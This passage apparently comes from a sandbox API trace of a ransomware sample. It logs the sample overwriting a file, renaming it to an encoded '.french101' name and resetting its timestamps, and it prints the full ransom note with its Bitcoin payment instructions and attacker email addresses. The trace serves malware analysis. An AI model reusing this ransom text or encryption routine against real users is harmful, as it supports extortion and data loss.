(hMem=0x3f40004) returned 0x3ae5e18 [0277.107] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0277.107] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.107] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.107] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.107] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.107] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0277.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0277.108] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0277.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0277.109] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0277.109] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0277.109] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0277.109] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0277.109] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0277.109] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.110] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.110] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x12fb4 [0277.110] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.110] SetFilePointer (in: hFile=0x35c, lDistanceToMove=77748, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x12fb4 [0277.110] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0277.112] CloseHandle (hObject=0x35c) returned 1 [0277.115] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.116] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.117] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x12fb5 [0277.117] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.117] SetFilePointer (in: hFile=0x35c, lDistanceToMove=77748, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x12fb4 [0277.117] SetEndOfFile (hFile=0x35c) returned 1 [0277.126] CloseHandle (hObject=0x35c) returned 1 [0277.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.126] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.126] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x12fb4 [0277.127] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.128] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.128] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0277.128] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.129] SetFilePointer (in: hFile=0x35c, lDistanceToMove=40976, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xa010 [0277.130] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.130] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0277.130] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0277.130] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0277.130] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.130] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0277.130] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.130] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.130] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.130] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.207] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0277.207] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.207] SetFilePointer (in: hFile=0x35c, lDistanceToMove=40976, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xa010 [0277.207] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.207] SetFilePointer (in: hFile=0x35c, lDistanceToMove=77748, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x12fb4 [0277.207] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0277.208] WriteFile (in: hFile=0x35c, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0277.208] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.208] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.208] CloseHandle (hObject=0x35c) returned 1 [0277.216] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\PuLmg4kz4iUO+YSlFvB9Oqwpx=FRN0JeW5Al8oED+Cn8e4.french101" (normalized: "c:\\588bce7c90097ed212\\1030\\pulmg4kz4iuo+yslfvb9oqwpx=frn0jew5al8oed+cn8e4.french101")) returned 1 [0277.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\PuLmg4kz4iUO+YSlFvB9Oqwpx=FRN0JeW5Al8oED+Cn8e4.french101" (normalized: "c:\\588bce7c90097ed212\\1030\\pulmg4kz4iuo+yslfvb9oqwpx=frn0jew5al8oed+cn8e4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.217] SetFileTime (hFile=0x35c, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0277.217] CloseHandle (hObject=0x35c) returned 1 [0277.217] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\PuLmg4kz4iUO+YSlFvB9Oqwpx=FRN0JeW5Al8oED+Cn8e4.french101", dwFileAttributes=0x80) returned 1 [0277.217] CloseHandle (hObject=0x35c) returned 0 [0277.218] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.218] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.218] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.218] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.218] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.218] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.218] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.218] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.218] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.218] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0277.218] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da1d0 [0277.219] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0277.219] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0277.219] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0277.219] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1030\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.220] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.220] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0277.220] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.220] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.220] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0277.220] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.220] ReadFile (in: hFile=0x35c, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0277.220] CloseHandle (hObject=0x35c) returned 1 [0277.221] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.221] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.221] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.221] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.221] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.221] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.221] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.221] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.221] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.221] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.222] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.222] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.222] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.222] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0277.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0277.224] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0277.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0277.224] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0277.225] GetLastError () returned 0x12 [0277.225] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0277.225] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.225] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.225] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.225] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.226] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0277.226] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.226] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.226] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0277.226] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.226] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0277.227] 